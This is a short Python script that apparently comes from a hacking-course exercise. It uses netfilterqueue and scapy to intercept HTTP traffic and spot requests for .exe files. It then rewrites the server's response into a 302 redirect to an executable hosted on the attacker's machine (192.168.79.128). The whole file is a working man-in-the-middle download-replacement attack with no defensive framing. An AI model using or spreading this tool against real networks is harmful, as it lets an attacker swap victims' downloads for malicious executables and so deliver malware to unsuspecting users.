replaceDownlaods.py

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

ack_list = []

def set_load(packet, load):
    packet[scapy.Raw].load = load.encode()  # ensure bytes
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())

    if scapy_packet.haslayer(scapy.TCP) and scapy_packet.haslayer(scapy.Raw):

        # outbound request
        if scapy_packet[scapy.TCP].dport == 8080:
            if b".exe" in scapy_packet[scapy.Raw].load and b"192.168.79.128" not in scapy_packet[scapy.Raw].load:
                print("[+] exe Request")
                ack_list.append(scapy_packet[scapy.TCP].ack)

        # inbound response
        elif scapy_packet[scapy.TCP].sport == 8080:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].seq)
                print("[+] Replacing file")

                redirect_payload = (
                    "HTTP/1.1 302 Found\r\n"
                    "Location: http://192.168.79.128/Files/winzip76.exe\r\n"
                    "Content-Type: text/html; charset=UTF-8\r\n"
                    "Content-Length: 0\r\n"
                    "Connection: close\r\n"
                    "\r\n"
                )

                modified_packet = set_load(scapy_packet, redirect_payload)
                packet.set_payload(bytes(modified_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()